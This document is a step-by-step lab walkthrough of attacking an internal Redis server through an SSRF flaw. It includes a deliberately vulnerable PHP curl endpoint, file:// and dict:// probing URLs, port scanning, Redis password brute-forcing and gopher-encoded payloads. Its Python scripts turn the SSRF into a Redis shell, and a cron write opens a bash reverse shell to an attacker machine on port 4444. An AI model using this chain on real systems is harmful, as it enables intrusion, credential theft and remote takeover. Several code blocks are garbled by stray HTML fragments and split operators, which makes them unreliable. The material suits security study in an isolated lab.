Intranet penetration based on SSRF + Redis
1. WEB server configuration
1. Ugly topology map
2. Add network card
For the second network card, select vmnet1. It doesn’t matter if you customize it later. The purpose is to prevent the host from communicating with network card 2.
3. Set to fixed IP
#Query the current network card [root@CentOS-2 ~]# ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255 inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet) RX packets 420 bytes 37770 (36.8 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 298 bytes 32658 (31.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.25.132 netmask 255.255.255.0 broadcast 192.168.25.255 inet6 fe80::f465:ce4f:dc20:e57a prefixlen 64 scopeid 0x20<link> ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet) RX packets 1 bytes 342 (342.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 16 bytes 1544 (1.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 #Copy the configuration of ens33 to ens35 [root@CentOS-2 ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens35
#Modify the configuration file of the ens35 network card [root@CentOS-2 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens35 TYPE="Ethernet" PROXY_METHOD="none" BROWSER_ONLY="no" BOOTPROTO="static" DEFROUTE="yes" IPV4_FAILURE_FATAL="no" IPV6INIT="yes" IPV6_AUTOCONF="yes" IPV6_DEFROUTE="yes" IPV6_FAILURE_FATAL="no" IPV6_ADDR_GEN_MODE="stable-privacy" NAME="ens35" UUID="ba3657b9-7928-40ea-ac30-f4d6a031fc8i" #Default network card DEVICE="ens33" ONBOOT="yes" IPV6_PRIVACY="no" IPADDR=10.0.0.1 NETMASK=255.255.255.0 GATEWAY=10.0.0.254 #Restart all network cards [root@CentOS-2 ~]# systemctl restart network
[root@CentOS-2 ~]# ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255 inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet) RX packets 1447 bytes 120592 (117.7 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 920 bytes 105514 (103.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255 inet6 fe80::20c:29ff:fe2f:8d0f prefixlen 64 scopeid 0x20<link> ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet) RX packets 1 bytes 342 (342.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 36 bytes 2960 (2.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 4 bytes 416 (416.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 416 (416.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
4. Install and enable lampp service
[root@CentOS-2 ~]# /opt/lampp/lampp start Starting XAMPP for Linux 5.6.40-1... XAMPP: Starting Apache...ok. XAMPP: Starting MySQL...ok. XAMPP: Starting ProFTPD...ok.
I won’t demonstrate how to install the xampp service here.
5. Check configuration
Whether it is possible to access the http service
Check whether it can communicate with this machine
2. Redis server configuration
1. Modify the network card
2. Modify IP address
#Modify to backup file [root@localhost ~]# mv /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens33.bak #copy [root@localhost ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33.bak /etc/sysconfig/network-scripts/ifcfg-ens33 #Modify configuration file [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33 #Restart network card [root@localhost ~]# systemctl restart network
Save the previous configuration, then copy it and modify the IP address and gateway.
3. Redis.conf configuration modification
#Modify access address [root@localhost redis-5.0.4]# cat redis.conf |grep "bind 0.0.0.0" bind 0.0.0.0 #Turn off safe mode [root@localhost redis-5.0.4]# cat redis.conf |grep "protected-mode" protected-mode no #password [root@localhost ~]# cat redis-5.0.4/redis.conf |grep "^requirepass " requirepass sword #Use the configuration file to start redis background startup [root@localhost redis-5.0.4]# redis-server /root/redis-5.0.4/reids.conf & amp;
4. Check configuration
Check whether the intranet redis server is communicating
[root@CentOS-2 ~]# ping 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.263 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.258 ms ^C --- 10.0.0.2 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1003ms rtt min/avg/max/mdev = 0.258/0.260/0.263/0.016 ms
Check whether communicating with redis
[root@CentOS-2 ~]# telnet 10.0.0.2 6379 Trying 10.0.0.2... Connected to 10.0.0.2. Escape character is '^]'. auth sword + OK quit + OK Connection closed by foreign host.
selinux off
[root@localhost ~]# cat /etc/selinux/config |grep "^SELINUX" SELINUX=disabled SELINUXTYPE=targeted
3. SSRF vulnerability recurrence
1.SSRF.php
<?php #Create a curl method function curl($url){<!-- --> #instantiation $ch = curl_init(); #Setting parameters curl_setopt($ch, CURLOPT_URL, $url); #Set whether to return the response header. Here, 0 means no return, otherwise it will be the opposite. curl_setopt($ch, CURLOPT_HEADER, 0); #send request curl_exec($ch); #Close connection curl_close($ch); #If an error is reported, output the error message echo curl_error($ch); } #Receive POST or GET request method url value $url = $_REQUEST['url']; #Call curl method curl($url); ?>
If you cannot access the arp file, please change the PHP version or
<?php print_r(file_get_contents($_REQUEST['url'])); ?>
After checking, you need to change the php code to the first one above to perform the following operations. Remember
2. Check code vulnerabilities
Visit
http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:22/
Check whether port 22 is open
Visit
http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:3306/
Check whether port 3306 (mysql port) is open
Visit:
http://192.168.88.132/sundry/ssrf.php?url=file:///etc/passwd
View the file /etc/passwd
4. Vulnerability Exploitation
1. Intranet IP address scanning
Start scanning from segment A network or check the routing table
http://192.168.88.132/sundry/ssrf.php?url=file:///proc/net/arp
Scan from 1-254
2 hosts found
2. Port scanning
Add variables
Add commonly used ports
Found the redis service exists
3. Redis password blasting
Change parameters
Import the dictionary and start blasting
Explosion successful
5. Redis protocol analysis
1. Packet capture analysis
//Socket explanation *2 is a parameter $4 auth length $5 sword length *1 one parameter $4 info length #Both front and back are fixed The front is the connection Followed by qiut exit
For more detailed communication specifications, please refer to:
https://www.cnblogs.com/oxspirt/p/12764683.html
2. Gopher pseudo-protocol
Gopher is a distributed document delivery service. It allows users to explore, search and retrieve information residing in different locations in a seamless manner. Gopher can construct various HTTP request packages, so gopher acts as a panacea in exploiting SSRF vulnerabilities.
*2 $4 auth $5 sword *1 $4 info *1 $4 quit
Encode the above command with URL
*2 $4 auth $5 sword *1 $4 info *1 $4 quit
Because the encoding cancels \r by default, we need to add it.
*2$4auth$5sword*1$4info*1$4quit
Because the browser will parse the url and decode it once, we also need to do url transcoding.
*2%0D%0A%244%0D%0Aauth%0D%0A%245%0D%0Asword%0D%0A*1%0D%0A%244%0D%0Ainfo%0D%0A*1%0D% 0A%244%0D%0Aquit
3. Use brup to send packages
6. Interactive implementation in python
1. python code
#!/usr/bin/env python # -*- coding: UTF-8 -*- """ @current project:python @current script: redis interactive.py @Creator:Sword @Time:2023/11/7 0:08 @Script description: Reproduce redis + ssrf vulnerability """ #regular module import re #url transcoding module from urllib.parse import quote #Request module import requests #The command is decomposed into redis format def command_data(data): #Use regular expressions to decompose data data = re.findall(r'"[^"] + "|\S + ',data) #Get the length num = len(data) #How many parameters are obtained? command =f'*{<!-- -->num}\r\ ' #Individual parameters inside the loop for i in data: #Calculate the length of the string param_len = len(i) #splicing command + = f'${<!-- -->param_len}\r\ {<!-- -->i}\r\ ' #Return the redis format of the entire command return command def encode_gopher(data): #Convert the redis format string to url transcoding data = quote(quote(data)) #Return the value after transcoding return data #getrequest def ssrf_request(data): #urladdress burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{<!-- -->data}" #Use get request html = requests.get(burp0_url).text return html if __name__ == '__main__': #passwordtranscoding passwd = command_data('auth sword') #infinite loop while True: #Get command tcp_command = input("10.0.0.2:6379>") #Determine whether to end the script if tcp_command == 'exit': exit() #Decompose command command = command_data(tcp_command) #URL transcoding after parallel connection url_command = encode_gopher(passwd + command + command_data('quit')) #Submit get request html = ssrf_request(url_command) # Count the number of times " + OK" appears ok_count = html.count(" + OK") #Judgement + OK times if ok_count >= 2: # Find the last occurrence of " + OK" index = html.rfind(" + OK") # Keep the last " + OK" and delete all subsequent strings cleaned_response = html[:index + 3] else: cleaned_response = html print(cleaned_response)
2. info demonstration
3. Upgrade python code
#!/usr/bin/env python # -*- coding: UTF-8 -*- """ @current project:python @current script: redis interactive.py @Creator:Sword @Time:2023/11/7 0:08 @Script description: Reproduce redis + ssrf vulnerability """ #regular module import re #url transcoding module from urllib.parse import quote #Request module import requests #The command is decomposed into redis format def command_data(data): #Use regular expressions to decompose data data = re.findall(r'"[^"] + "|\S + ',data) #Get the length num = len(data) #How many parameters are obtained? command =f'*{<!-- -->num}\r\ ' #Individual parameters inside the loop for i in data: #Calculate the length of the string param_len = len(i) #splicing command + = f'${<!-- -->param_len}\r\ {<!-- -->i}\r\ ' #Return the redis format of the entire command return command def encode_gopher(data): #Convert the redis format string to url transcoding data = quote(quote(data)) #Return the value after transcoding return data #getrequest def ssrf_request(data): #urladdress burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{<!-- -->data}" #Use get request html = requests.get(burp0_url).text return html #Check whether the command contains\ def detection(data): redis_command = "" if r"\ " in data: fruits = data.split(r'\ ') for i in fruits: redis_command + =i + "\ " return redis_command def redis_null(tcp_command): # Decompose command command = command_data(tcp_command) # URL transcoding after connection url_command = encode_gopher(passwd + command + command_data('quit')) # Submit get request html = ssrf_request(url_command) # Count the number of times " + OK" appears ok_count = html.count(" + OK") # Judgment + OK times if ok_count >= 2: # Find the last occurrence of " + OK" index = html.rfind(" + OK") # Keep the last " + OK" and delete all subsequent strings cleaned_response = html[:index + 3] else: cleaned_response = html return cleaned_response if __name__ == '__main__': #passwordtranscoding passwd = command_data('auth sword') #infinite loop while True: #Get command tcp_command = input("10.0.0.2:6379>") #Determine whether to end the script if tcp_command == 'exit': exit() redis = detection(tcp_command) if redis == "": print(redis_null(tcp_command)) else: print(redis_null(redis))
The reason for modifying the code is because the value returned by input is in pure string format, which will cause \
to be written in string form when I write it to the file.
7. Elevating privileges by writing scheduled tasks
1. Kali turns on monitoring
┌──(root?kali-3)-[/home/sword] └─# nc -lvvp 4444 listening on [any] 4444 ...
2. Write rebound shell
#Create write file name 10.0.0.2:6379>config set dbfilename root + OK + OK + OK #Write path 10.0.0.2:6379>config set dir /var/spool/cron + OK + OK + OK #Write content 10.0.0.2:6379>set test "\ \ */1 * * * * /bin/bash -i > & amp; /dev/tcp/192.168.88.141/4444 0> & amp;1\ \ " + OK + OK + OK #save 10.0.0.2:6379>save + OK + OK + OK
As I write this, I find that when I first set up the environment, I couldn’t connect to the external network. Now I can’t receive the external network when it bounces back, so I can only remove the springboard machine first and do a port mapping. I’ll just post a picture here. It’s the scheduled task content of Linux, right?